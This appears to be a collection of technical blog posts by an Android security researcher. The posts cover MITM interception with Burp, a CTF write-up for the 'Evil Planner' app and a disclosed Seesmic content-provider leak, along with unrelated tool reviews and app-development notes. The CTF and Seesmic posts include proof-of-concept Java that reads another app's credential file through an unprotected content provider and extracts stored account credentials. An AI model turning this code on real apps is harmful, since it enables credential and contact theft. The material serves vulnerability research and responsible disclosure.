First of all, setting an emulator-wide proxy is really easy, as Fas wrote, all I needed was the -http-proxy command line argument. Because of this, I had to start the emulator from command line – I've only used the GUI provided by android before. I looked at the output of ps w for hints, and at first, I used a command line like the following.

$ tools/emulator64-arm -avd Android17 -http-proxy http://127.0.0.1:8081
emulator: ERROR: Could not load OpenGLES emulation library: lib64OpenglRender.so: cannot open shared object file: No such file or directory
emulator: WARNING: Could not initialize OpenglES emulation, using software renderer.

Since using the Android emulator without hardware rendering would've been like using Subversion after Git, I looked into the matter and found that I just had to set the LD_LIBRARY_PATH path to the tools/lib subdirectory of the SDK. Now I could intercept various TCP connections using Burp, but in case of SSL connections, certificate mismatch caused the usual problem.

Luckily, Burp provides really easy ways of exporting the its root CA certificate in the last few releases, I chose to export it into a DER file by clicking on the Certificate button on the Options subtab of the Proxy tab, and selecting the appropriate radio button as seen below.

Android 4.x stores root CA certificates in system/etc/security/cacerts/ in PEM format, so running the following command gives a chance to review the certificate before adding and the output can be used directly by Android.

$ openssl x509 -in burp.cer -inform DER -text
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1296145266 (0x4d419b72)
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=PortSwigger, ST=PortSwigger, L=PortSwigger, O=PortSwigger, OU=PortSwigger CA, CN=PortSwigger CA
        Validity
            Not Before: Jan 27 16:21:06 2011 GMT
            Not After : Jan 22 16:21:06 2031 GMT
        Subject: C=PortSwigger, ST=PortSwigger, L=PortSwigger, O=PortSwigger, OU=PortSwigger CA, CN=PortSwigger CA
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
                Modulus:
                    00:a0:c2:98:2b:18:cf:06:42:4a:7b:a8:c9:ce:ab:
                    1d:ec:af:95:14:2a:dd:58:53:35:9d:68:18:86:a5:
                    3a:84:6e:6c:32:58:11:f3:d7:bf:b4:9e:29:d2:dc:
                    22:d2:7f:23:36:16:9d:10:c4:e5:4c:69:55:4d:95:
                    05:9f:9b:f8:33:37:8d:9f:d0:23:0f:61:d4:53:d7:
                    40:fd:da:6d:f0:04:75:2c:ef:75:77:0a:4a:8c:34:
                    f7:06:6b:4e:ea:58:af:a7:89:51:6b:33:a2:89:5c:
                    6b:64:cb:e6:31:a7:7f:cf:0a:04:59:5b:a4:9e:e3:
                    96:53:6a:01:83:81:2b:0b:11
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier: 
                FE:2F:6C:CD:EB:72:53:1E:24:33:48:35:A9:1C:DC:C7:D6:42:6F:35
            X509v3 Basic Constraints: critical
                CA:TRUE, pathlen:0
    Signature Algorithm: sha1WithRSAEncryption
         1e:f0:92:13:bd:05:e8:03:33:27:72:3d:03:93:1e:d9:d6:cc:
         f0:bd:ae:e2:a3:8f:83:e0:65:5e:c7:03:9d:25:d4:d2:8f:6e:
         bc:3e:7d:5c:28:2d:b3:dd:c0:8b:8e:60:c5:a8:8c:26:dc:19:
         50:db:da:03:fb:39:e0:72:01:26:47:a7:ea:c4:58:f5:c9:71:
         bf:03:cd:af:16:07:6d:a5:36:72:4c:b5:8d:4f:86:4a:bc:60:
         1c:01:62:eb:e5:48:a0:83:c6:1c:ea:b9:36:d6:b1:f1:de:e6:
         19:4a:2a:76:7e:d3:d2:39:70:64:a3:63:ce:89:da:2e:7d:17:
         ff:52
-----BEGIN CERTIFICATE-----
MIICxDCCAi2gAwIBAgIETUGbcjANBgkqhkiG9w0BAQUFADCBijEUMBIGA1UEBhML
UG9ydFN3aWdnZXIxFDASBgNVBAgTC1BvcnRTd2lnZ2VyMRQwEgYDVQQHEwtQb3J0
U3dpZ2dlcjEUMBIGA1UEChMLUG9ydFN3aWdnZXIxFzAVBgNVBAsTDlBvcnRTd2ln
Z2VyIENBMRcwFQYDVQQDEw5Qb3J0U3dpZ2dlciBDQTAeFw0xMTAxMjcxNjIxMDZa
Fw0zMTAxMjIxNjIxMDZaMIGKMRQwEgYDVQQGEwtQb3J0U3dpZ2dlcjEUMBIGA1UE
CBMLUG9ydFN3aWdnZXIxFDASBgNVBAcTC1BvcnRTd2lnZ2VyMRQwEgYDVQQKEwtQ
b3J0U3dpZ2dlcjEXMBUGA1UECxMOUG9ydFN3aWdnZXIgQ0ExFzAVBgNVBAMTDlBv
cnRTd2lnZ2VyIENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCgwpgrGM8G
Qkp7qMnOqx3sr5UUKt1YUzWdaBiGpTqEbmwyWBHz17+0ninS3CLSfyM2Fp0QxOVM
aVVNlQWfm/gzN42f0CMPYdRT10D92m3wBHUs73V3CkqMNPcGa07qWK+niVFrM6KJ
XGtky+Yxp3/PCgRZW6Se45ZTagGDgSsLEQIDAQABozUwMzAdBgNVHQ4EFgQU/i9s
zetyUx4kM0g1qRzcx9ZCbzUwEgYDVR0TAQH/BAgwBgEB/wIBADANBgkqhkiG9w0B
AQUFAAOBgQAe8JITvQXoAzMncj0Dkx7Z1szwva7io4+D4GVexwOdJdTSj268Pn1c
KC2z3cCLjmDFqIwm3BlQ29oD+zngcgEmR6fqxFj1yXG/A82vFgdtpTZyTLWNT4ZK
vGAcAWLr5Uigg8Yc6rk21rHx3uYZSip2ftPSOXBko2POidoufRf/Ug==
-----END CERTIFICATE-----

As rustix wrote, the file name needs to be the the hash of the subject of the certificate, in case of the above certificate, it can be calculated as the following.

$ openssl x509 -noout -subject_hash_old -inform DER -in burp.cer
9a5ba575

Now all we need is to upload the file using adb.

$ adb push burp.cer /system/etc/security/cacerts/9a5ba575.0
failed to copy 'burp.cer' to '/system/etc/security/cacerts/9a5ba575.0':
    Read-only file system

The error message was fairly straightforward, /system is mounted read-only, all we need to do is remounting it in read-write (rw) mode.

$ adb shell
root@android:/ # mount -o rw,remount /system
root@android:/ # ^D
$ adb push burp.cer /system/etc/security/cacerts/9a5ba575.0
failed to copy 'burp.cer' to '/system/etc/security/cacerts/9a5ba575.0':
    Out of memory

That's a tougher one, but easily solveable by resizing the system partition using the emulator command line argument -partition-size. With this change as well as the library path for OpenGL, the full command line looks like the following (of course, 64 should be removed if you're using a 32-bit OS).

$ LD_LIBRARY_PATH=tools/lib/ tools/emulator64-arm -avd Android17 \
    -http-proxy http://127.0.0.1:8081 -partition-size 512

Since restarting the emulator wiped my changes from /system, I had to upload the certificate again, and finally, it appeared in the list of system certificates.

This being done, all applications using SSL/TLS connections (except for those that do certificate pinning) will accept the MITM of Burp, as it can be seen below with Google as an example. The top half is the certificate viewer of the Android web browser, stating that Portswigger issuing a certificate for www.google.com is perfectly valid, while the bottom half is the Burp Proxy window, showing the contents of the HTTPS request.

The application itself was quite simple, and seemed secure at first sight. It required the user to use a PIN code to protect information entered. Unlike many application it even used this PIN code to encrypt the database, so even if the device was stolen, the user shouldn't have worried about it.

After downloading the APK, I unzipped it and converted the classes.dex file containing the Dalvik bytecode to a JAR file using dex2jar. I opened the resulting JAR with JD-GUI and saw that no obfuscation took place, so all class, method and member names were available. For example, the Login class contained the following line, revealing where the PIN code was stored:

private final String PIN_FILE = "/creds.txt";

Further static code analysis revealed that the PIN code was stored in the file using a simple method of encoding (I wouldn't dare calling it encryption).

public static String encryptPIN(String paramString,
    TelephonyManager paramTelephonyManager)
{
    String str1 = paramTelephonyManager.getDeviceId();
    String str2 = paramString.substring(0, 4);
    byte[] arrayOfByte1 = str1.getBytes();
    byte[] arrayOfByte2 = str2.getBytes();
    return Base64.encodeToString(xor(arrayOfByte1, arrayOfByte2), 2);
}

Although variable names are not available to JD-GUI, it's still easy to see what happens: the getDeviceId method returns the IMEI of the device, and this gets XOR'd with the PIN string. The result can have weird characters, so it's Base64 encoded before being written to creds.txt.

As you can see, this method of encoding is easily reversible, but I wouldn't even need to go that far, since there's a decryptPIN method as well that performs the reverse of the code above. Thus acquiring the PIN code protecting the application is only a matter of accessing the creds.txt, which has its permissions set correctly, so it's only accessible to the Evil Planner.

However, using apktool to get readable XMLs from the binary ones used in APK files revealed that the application exposes two content providers whose security implications I already mentioned with regard to Seesmic.

<provider android:name=".content.LogFileContentProvider" 
    android:authorities="com.mwri.fileEncryptor.localfile" />
<provider android:name="com.example.bsidechallenge.content.DBContentProvider"
    android:authorities="com.example.bsideschallenge.evilPlannerdb" />

Latter is more like the one used by Seesmic and would've provided some limited access to the database, so I turned my attention to the other. Former is more interesting since it implements the openFile method in a way that it just opens a file received in a parameter without any checks, as it can be seen in the decompiled fragment below. (I removed some unrelated lines regarding logging to make it easier to read, but didn't change it in any other way.)

public ParcelFileDescriptor openFile(Uri paramUri, String paramString)
    throws FileNotFoundException
{
    // removed logging from here
    String str5 = paramUri.getPath();
    return ParcelFileDescriptor.open(new File(str5), 268435456);
}

Since the content provider is not protected in any way, this makes it possible to access any file with the privileges of the Evil Planner. In the proof-of-concept code, I used the following function to wrap its functionality into a simple method that gets a path as a parameter, and returns an InputStream that can be used to access the contents of that file.

protected InputStream openFile(String path) throws Exception {
    return getContentResolver().openInputStream(Uri.parse(
                "content://com.mwri.fileEncryptor.localfile" + path));
}

Having this, reading the contents of creds.txt only took a few lines (and even most of those just had to do with the crappy IO handling of Java).

InputStream istr = openFile(
            "/data/data/com.example.bsidechallenge/files/creds.txt");
InputStreamReader isr = new InputStreamReader(istr);
BufferedReader br = new BufferedReader(isr);
String creds = br.readLine();

Since I had access to every file that Evil Planner had, the rest was just copy-pasting code from JD-GUI to decrypt the PIN, get the database file in the same way, decrypt that using the PIN, and dump it on the screen. All of the logic can be found in Main.java, and the result looks like the following screenshot.

I'd like to thank the guys at MWR for creating this challenge, I don't remember any smartphone app security competitions before. Although I felt that the communication was far from being perfect (it's not a great feeling having the solution ready, but having no address to send it to), it was fun, and they even told me they'll send a T-shirt for taking part in the game. Congratulation to the winners, and let's hope this wasn't the last challenge of its kind!

mcabber (console XMPP a.k.a. Jabber client with built-in OTR support)

In the last ten years, I always preferred IRC to XMPP/MSN Messenger/Skype since although all of them has both the option to one-to-one and many-to-many chat, latter is the common use-case for IRC while former is with all the others. That's when Stefan showed me OTR (Off-the-Record) messaging, which provided strong autentication and encryption along with deniability afterwards. We started experimenting with version 1 on IRC using irssi-otr, but found it to be quite unstable, and another big problem was that I prefer to run irssi on a remote server, which defies the whole purpose of the end-to-end security OTR aims to provide.

So I decided to give it a try with XMPP, especially since H.A.C.K. has its own server – with registration available to anyone – at xmpp.hsbp.org. Stefan recommended me mcabber as a client, and although it has its limitations (for example, it cannot connect to multiple servers and I had to use Pidgin for registration), I found it perfect for my use-cases, as it has built-in support for OTR up to version 2, and has a nice console UI.

minidlna (lightweight DLNA/UPnP media server)

I didn't know what DLNA was before I got my hands on a device that actually supported it, then I started using Serviio, but it had its limitations. It required Java, updated the local repository really slow, had an awful and complicated GUI – and had I mentioned it ran on Java? After a week, I started looking for alternatives, I naïvely typed apt-cache search dlna and that's how I met found minidlna, which was quite the opposite of Serviio.

It consisted of a single native executable, a config file and some docs, and since it's targeted at embedded systems, it ran quite fast on my dual i3 notebook. The Debian version runs as an unprivileged user by default, and I added my user to the minidlna group, so I can just drop/link files into the /var/lib/minidlna directory, and they just become accessible for any DLNA consumer. In case of content from Bittorrent, I can even download it to a remote server, mount it with sshfs (also one of my favorite solutions), symlink it into the directory, and the TV magically plays the file from the remote server via my notebook over the home Wi-Fi, which works suprisingly well even in case of HD contents. Also, on Debian, the DLNA icon is a Debian swirl logo, so it even looks great in the TV menu. :)

mosh (SSH replacement extension for roaming clients and laggy connections)

I think SSH is one of those software that demonstrate the power of “the Unix way” the best. I use it for lots of purposes, but at the same time, I've found it really hard to use in case of laggy connections. I cannot even decide, which one I hate better, both cellular data connections (GPRS, EDGE, 3G, etc.) and suboptimal Wi-Fi networks can make me want to smash the keyboard. After using mosh while uploading huge videos over a consumer-grade asymmetric uplink, I also found that networks without QoS can also make the interactive SSH experience turn into a text-based RPG.

I installed mosh on the two boxes I most regularly log into via SSH, and found it really useful, especially since Daniel Drown patched mosh support into ConnectBot, an Android terminal emulator and SSH client, which makes sense, since handheld devices have the most chance to be connected to networks matching the description above. Although some say it breaks interactive applications like VIM, I had no problems with version 1.2.3 I downloaded and compiled almost two months ago, so if you also find yourself connected to laggy networks, give it a try!

mutt (the mail user agent that sucks less)

I've been a KMail user since around 2007 and although I saw many of my friends using mutt with server-side magic, I used it just like my window manager and my shell – a tool, which I used until it worked without a hassle. When it misbehaved or crashed (it did so quite a few times), I sent bugreports, partly to make myself feel better, partly to evade “and have you reported it” questions, but I also hoped that they'll fix these properly. Then one day, during an IMAP mass move operation, KMail crashed, and did so even after restart. I've had quite an experience in bruteforcing KMail into a working state from the past, but when I couldn't change the situation in half an hour, I decided that it's time to change.

I had three mailboxes on two IMAPS servers with two distinct SMTPSA MTAs to send mails through, and I also used client-side filtering extensively. I migrated latter functionality to procmail on one of the servers, and as of February 2013, I use a transitional setup with on-line IMAP mailboxes and a local header cache. In the near future, I plan to migrate online IMAP access to a solution based on offlineimap and run a local MTA that forwards mail to the appropriate SMTP server, preferably through a tunnel/VPN to avoid password authentication and my endpoint IP address appearing in the MIME envelope.

I only had one problem so far, it seems that the online IMAP functionality is not so well-tested in mutt, so even though I use Debian testing, it crashed in around 30% of the cases when changing IMAP directories, but I managed to solve it by compiling Mutt from source, including the folder sidebar patch. Here's how it looks with the current config, displaying the Python SOAP mailing list.

My problem was that still hadn't collected enough information to trust my phone with powerful public keys (even though I use APG, I only added public keys so far), and having a key on my phone that could allow anyone to log into my notebook through SSH was unacceptable for me, even though I set up a separate user account, and SSH wasn't set up to start at boot.

To solve this problem, I logged what command the application started upon connecting via SSH, and added the following line to the authorized_keys file in the .ssh subdirectory of the home directory of the dedicated user (foo). The lines are split only for easier readability, there should be no line break or whitespace between no-port-forwarding, and no-agent-forwarding.

command="rsync --server -vlHDtre.i . /home/foo/images",no-port-forwarding,
    no-agent-forwarding,no-X11-forwarding,no-pty ssh-dss AAAA...

This way, the private key on the phone can only be used for rsyncing a specific directory, and cannot be used to

• open a shell or start any other program, or
• forward TCP ports, SSH agent or X11 connections from/to my notebook.

Thanks to rhapsodhy for the inspiration.

Using Mercury, I found that Seesmic offers several content providers that not only had interesting names and fields, but were available for reading to any other application running on the device. As Android separates applications pretty strictly, these providers are the favorable way of sharing structured information between apps, and although they can be protected with application-specific permissions, many developers tend to forget about such things. In case of Seesmic, I used the finduri command of Mercury in the provider module.

*mercury#provider> finduri com.seesmic

/data/app/com.seesmic-2.apk:
content://calendar/calendars
content://calendar/events
content://calendar/reminders
content://com.android.calendar/calendars
content://com.android.calendar/events
content://com.android.calendar/reminders
content://com.google.plus.platform/ads
content://com.google.plus.platform/token
content://com.seesmic.aggregate/aggregate_authors
content://com.seesmic.aggregate/aggregate_timelines
content://com.seesmic.facebook/facebook_authors
content://com.seesmic.facebook/facebook_feeds
content://com.seesmic.facebook/facebook_friendlists
content://com.seesmic.facebook/facebook_page_profiles
content://com.seesmic.facebook/facebook_people
content://com.seesmic.facebook/facebook_profiles
content://com.seesmic.facebook/facebook_updates
content://com.seesmic.twitter/accounts
content://com.seesmic.twitter/attachs
content://com.seesmic.twitter/authors
content://com.seesmic.twitter/dm
content://com.seesmic.twitter/list_info
content://com.seesmic.twitter/lists
content://com.seesmic.twitter/mute
content://com.seesmic.twitter/search_results
content://com.seesmic.twitter/searches
content://com.seesmic.twitter/timelines
content://com.seesmic.twitter/topics
content://com.seesmic.twitter/tweets
content://com.seesmic.twitter/userlists
content://com.seesmic.twitter/users

In order to inspect the extracted data and provide a nice and simple proof-of-concept, I developed a small application called CoProLeak (CoPro = Content Provider) that could show the two of the most problematic leaks in the Seesmic application. It's worth noting that the application doesn't require any permissions – as it can be seen on the left frame of the screenshot below – so it could lurk inside any kind of application or game.

• The content://com.seesmic.facebook/facebook_people provider made all the Facebook friends of the user available with name, Facebook ID and full contact information. This can be seen in the middle frame of the screenshot below, clicking on a person's name displayed his/her photo using the Facebook graph API in a browser window.
• The content://com.seesmic.twitter/accounts provider made all the accounts configured in the application available with username and password or OAuth token and secret. This can be seen in the right frame of the screenshot below, these credentials are enough for anyone to impersonate the user account.

For example, displaying the list of friends required the following snippet. (The relationship_type filter was necessary to exclude liked pages that were also available from the content provider.)

final Uri SEESMIC_FB_PEOPLE_URI = Uri.parse(
        "content://com.seesmic.facebook/facebook_people");
final String[] projection = { "_id", "full_name" };
final String selection = "relationship_type = ?";
final String[] selectionArgs = { "1" };
final String sortOrder = "full_name";

final Cursor cur = getContentResolver().query(SEESMIC_FB_PEOPLE_URI,
        projection, selection, selectionArgs, sortOrder);

final String[] from = { "full_name" };
final int[] to = { android.R.id.text1 };
setListAdapter(new SimpleCursorAdapter(this,
            android.R.layout.simple_list_item_1, cur, from, to));

As it turned out, contacting a social media related company with such delicate matter wasn't trivial. For purposes of feedback, they had a public forum, which was obviously not the place to describe vulnerabilities in detail. On their about site, I found the e-mail address ContactUs at Seesmic dot com, and sent them a mail right after the proof-of-concept worked. I waited for a month, then tried contacting them on their Facebook page, where they replied 5 days later, and said to open a ticket in their Zendesk system.

After I did so, they replied that they'll “let [their] Dev Team know about this as [they]'ll review the issue”. I waited for another two months, and then one day, I just opened the notification on my Android phone that a new version of Seesmic was available, that contains “security improvements”. Since they haven't released an update through the Play Store since summer, I immediately tried CoProLeak and I was pleased to found that both functions of the proof-of-concept application crashed with permission problems.

To be sure, I checked the logs with ADB, and it's pretty clear that the application gets terminated because of (unhandled) permission denial.

I/ActivityManager(  246): START {cmp=hu.silentsignal.android.coproleak/.SeesmicAccountsList u=0} from pid 8388
W/ActivityManager(  246): Permission denied: checkComponentPermission() owningUid=10073
W/ActivityManager(  246): Permission Denial: opening provider com.seesmic.data.DbProvider from ProcessRecord{422e6d78 8388:hu.silentsignal.android.coproleak/u0a46} (pid=8388, uid=10046) that is not exported from uid 10073
D/AndroidRuntime( 8388): Shutting down VM
W/dalvikvm( 8388): threadid=1: thread exiting with uncaught exception (group=0x414dc300)
E/AndroidRuntime( 8388): FATAL EXCEPTION: main
E/AndroidRuntime( 8388): java.lang.RuntimeException: Unable to start activity ComponentInfo{hu.silentsignal.android.coproleak/hu.silentsignal.android.coproleak.SeesmicAccountsList}: java.lang.SecurityException: Permission Denial: opening provider com.seesmic.data.DbProvider from ProcessRecord{422e6d78 8388:hu.silentsignal.android.coproleak/u0a46} (pid=8388, uid=10046) that is not exported from uid 10073
E/AndroidRuntime( 8388): Caused by: java.lang.SecurityException: Permission Denial: opening provider com.seesmic.data.DbProvider from ProcessRecord{422e6d78 8388:hu.silentsignal.android.coproleak/u0a46} (pid=8388, uid=10046) that is not exported from uid 10073
E/AndroidRuntime( 8388):        at android.os.Parcel.readException(Parcel.java:1425)
E/AndroidRuntime( 8388):        at android.os.Parcel.readException(Parcel.java:1379)
E/AndroidRuntime( 8388):        at android.app.ActivityManagerProxy.getContentProvider(ActivityManagerNative.java:2354)
E/AndroidRuntime( 8388):        at android.app.ActivityThread.acquireProvider(ActivityThread.java:4219)
E/AndroidRuntime( 8388):        at android.app.ContextImpl$ApplicationContentResolver.acquireUnstableProvider(ContextImpl.java:1703)
E/AndroidRuntime( 8388):        at android.content.ContentResolver.acquireUnstableProvider(ContentResolver.java:1099)
E/AndroidRuntime( 8388):        at android.content.ContentResolver.query(ContentResolver.java:354)
E/AndroidRuntime( 8388):        at android.content.ContentResolver.query(ContentResolver.java:313)
E/AndroidRuntime( 8388):        at hu.silentsignal.android.coproleak.SeesmicAccountsList.onCreate(SeesmicAccountsList.java:38)
E/AndroidRuntime( 8388):        at android.app.Activity.performCreate(Activity.java:5008)
E/AndroidRuntime( 8388):        at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1079)
E/AndroidRuntime( 8388):        at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2023)
E/AndroidRuntime( 8388):        ... 11 more
W/ActivityManager(  246):   Force finishing activity hu.silentsignal.android.coproleak/.SeesmicAccountsList
W/ActivityManager(  246):   Force finishing activity hu.silentsignal.android.coproleak/.Main

java.lang.IllegalArgumentException: Malformed URL: javascript:mo_search('444344','ATMEL','ATATMEGA168P');
    at org.jsoup.helper.HttpConnection.url(HttpConnection.java:53)
    at org.jsoup.helper.HttpConnection.connect(HttpConnection.java:25)
    at org.jsoup.Jsoup.connect(Jsoup.java:73)
    at hu.vsza.adsapi.Part.getPdfConnection(Part.java:32)
    at hu.vsza.adsdroid.PartList$DownloadDatasheet.doInBackground(PartList.java:56)
    at hu.vsza.adsdroid.PartList$DownloadDatasheet.doInBackground(PartList.java:48)
    at android.os.AsyncTask$2.call(AsyncTask.java:264)
    at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:305)
    at java.util.concurrent.FutureTask.run(FutureTask.java:137)
    at android.os.AsyncTask$SerialExecutor.run(AsyncTask.java:208)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1076)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:569)
    at java.lang.Thread.run(Thread.java:856)
 Caused by: java.net.MalformedURLException: Unknown protocol: javascript
    at java.net.URL.<init>(URL.java:184)
    at java.net.URL.<init>(URL.java:127)
    at org.jsoup.helper.HttpConnection.url(HttpConnection.java:51)
    ... 12 more

The address (href) of the link (<a>) used for PDF download has changed from a simple HTTP one to a JavaScript call that JSoup, the library I used for HTML parsing and doing HTTP requests couldn't possibly handle. The source of the mo_search function can be found in js/datasheet_view.js. The relevant part can be seen below, I just inserted some whitespace for easier readability.

function mo_search(m1, m2, m3) {
    frmSearch2.ss_chk.value = m1;
    frmSearch2.sub_chk.value = m2;
    frmSearch2.pname_chk.value = m3;
    frmSearch2.action = 'http://www.alldatasheet.com/datasheet-pdf/pdf/'
        + frmSearch2.ss_chk.value + '/' + frmSearch2.sub_chk.value
        + '/' + frmSearch2.pname_chk.value + '.html';
    frmSearch2.submit();
}

That didn't seem that bad, so I wrote a simple regular expression to handle the issue.

import java.util.regex.*;

Pattern jsPattern = Pattern.compile(
    "'([^']+)'[^']*'([^']+)'[^']*'([^']+)'");

final Matcher m = jsPattern.matcher(foundPartHref);
if (m.find()) {
    foundPartHref = new StringBuilder(
        "http://www.alldatasheet.com/datasheet-pdf/pdf/")
        .append(m.group(1)).append('/')
        .append(m.group(2)).append('/')
        .append(m.group(3)).append(".html").toString();
}

The regular expression is overly liberal on purpose, in the hope that it can handle small changes in the AllDataSheet website in the future without upgrading the application. I pushed version 1.2 to GitHub, and it contains many other optimizations, too, including enabling ProGuard. The resulting APK is 30% smaller than previous versions, and it can be downloaded by using the link in the beginning of this sentence, or using the QR code below. It's also available from the F-Droid Android FOSS repository, which also ensures automatic upgrades.

As of this writing, the CAcert site contains another method that also requires root access, but as Jethro Carr wrote in his blog, since at least ICS, it's possible to install certificates without any witchcraft, using not only PKCS12 but also PEM files. Since Debian ships the CAcert bundle, I used that file, but it's also possible to download the files from the official CAcert root certificate download page. Since I have Android SDK installed, I used adb (Android Debug Bridge) to copy the certificate to the SD card, but any other method (browser, FTP, e-mail, etc.) works too.

$ adb push /usr/share/ca-certificates/cacert.org/cacert.org.crt /sdcard/
2 KB/s (5179 bytes in 1.748s)

On the phone, I opened Settings > Security, scrolled to the bottom, and selected Install from storage. It prompted for a name of the certificate, and installed the certificate in a second without any further questions asked.

After this, the certificate can be viewed and by opening Trusted credentials and selecting the User tab, and browsing an HTTPS site with a CAcert-signed certificate becomes just as painless and secure as with any other built-in CA.

A ‘killer app’ for electronic reference tools would be a front end for
alldatasheet.com that includes the ability to search, save, and display
the datasheet for any imaginable component.

First, I checked whether any applications like that exists on the smartphone application markets. I found several applications of high quality but tied to certain chip vendors, such as Digi-Key and NXP. There's also one that implies to be an alldatasheet.com application, it even calls itself Datasheet (Alldatasheet.com), but as one commenter writes

All this app does is open a web browser to their website.
Nothing more. A bookmark can suffice.

I looked around the alldatasheet.com website and found the search to be rather easy. Although there's no API available, the HTML output can be easily parsed with the MIT-licensed jsoup library. First I tried to build a separate Java API for the site, and a separate Android UI, with former having no dependencies on the Android library. The API can be found in the hu.vsza.adsapi package, and as of version 1.0, it offers two classes. The Search class has a method called searchByParName which can be used to use the functionality of the left form on the website. Here's an example:

List<Part> parts = Search.searchByPartName("ATMEGA168", Search.Mode.MATCH);

for (Part part : part) {
    doSomethingWithPart(part);
}

The Part class has one useful method called getPdfConnection, which returns an URLConnection instance that can be used to read the PDF datasheet about the electronics part described by the object. It spoofs the User-Agent HTTP header and sends the appropriate Referer values wherever it's necessary to go throught the process of downloading the PDF. This can be used like this:

URLConnection pdfConn = selectedPart.getPdfConnection();
pdfConn.connect();
InputStream input = new BufferedInputStream(pdfConn.getInputStream());
OutputStream output = new FileOutputStream(fileName);

byte data[] = new byte[1024];
long total = 0;
while ((count = input.read(data)) != -1) output.write(data, 0, count);

output.flush();
output.close();
input.close();

The Android application built around this API displays a so-called Spinner (similar to combo lists on PCs) to select search mode and a text input to enter the part name, and a button to initiate search. Results are displayed in a list view displaying the name and the description of each part. Touching a part downloads the PDF to the SD card and opens it with the default PDF reader (or prompts for selection if more than one are installed).

You can download version 1.0 by clicking on the version number link or using the QR code below. It only does one thing (search by part name), and even that functionality is experimental, so I'm glad if anyone tries it and in case of problems, contacts me in e-mail. The source code is available on GitHub, licensed under MIT.

I tried an alternative mail client called K-9 mail, which had more options available, as it allowed the user to examine the certificate, and accept it to be used in future communications. I configured the mailbox, and got a nice dialog box asking me to confirm the details of the certificate.

Unfortunately, the only problem with this dialog box was making the whole feature useless: it didn't contain the checksum (also known as fingerprint) of the certificate, which is the only value not spoofable by a man in the middle (MITM) attacker. There are point-and-click tools available on the web that can create a rogue certificate matching the original one in every detail, and the only difference is the public key, which affects the checksum. I developed a patch to fix this problem, which was accepted after a short discussion, and later made its way into the Android Market.

First, I found, that the checksum algorithm is SHA-1 most of the time, since MD5 is considered broken for this purpose. To calculate the SHA-1 hashes of the certificates in the chain, I imported the necessary classes and instantiated the SHA-1 MessageDigest class.

import java.security.NoSuchAlgorithmException;
import java.security.MessageDigest;

...

MessageDigest sha1 = null;
try {
    sha1 = MessageDigest.getInstance("SHA-1");
} catch (NoSuchAlgorithmException e) {
    Log.e(K9.LOG_TAG, "Error while initializing MessageDigest", e);
}

I spent most of the time figuring out how to extract the content of the certificate that needs to be hashed. As Roman D figured out in a post on Stack Overflow, “the hash is calculated over the DER-encoded (again, not the PEM string) TBS part only, including its ASN.1 header (the ID 0x30 == ASN1_SEQUENCE | ASN1_CONSTRUCTED and the length field)”.

Knowing this, I just needed to extract this information form the instances of the X509Certificate interface. I tried the getTBSCertificate method with no luck, but later found that there's a method inherited from Certificate called getEncoded, which does just what I needed. There was only one task to do: since the MessageDigest object returns the digest in raw bytes, I needed to convert them to hex digits in order to display it in the dialog box. It turned out, that the project already had a class for that, so I could avoid reinventing the wheel.

import com.fsck.k9.mail.filter.Hex;
import java.security.cert.CertificateEncodingException;

...

if (sha1 != null) {
  sha1.reset();
  try {
    char[] sha1sum = Hex.encodeHex(sha1.digest(chain[i].getEncoded()));
    chainInfo.append("Fingerprint (SHA-1): " + new String(sha1sum) + "\n");
  } catch (CertificateEncodingException e) {
    Log.e(K9.LOG_TAG, "Error while encoding certificate", e);
  }
}

After development and building, there was only one task: testing. I installed the modified version into an emulator and tried to configure an account on my mail server. It worked, and as you can see on the screenshot below, the checksum matches the one you can CAcert fingerprint page.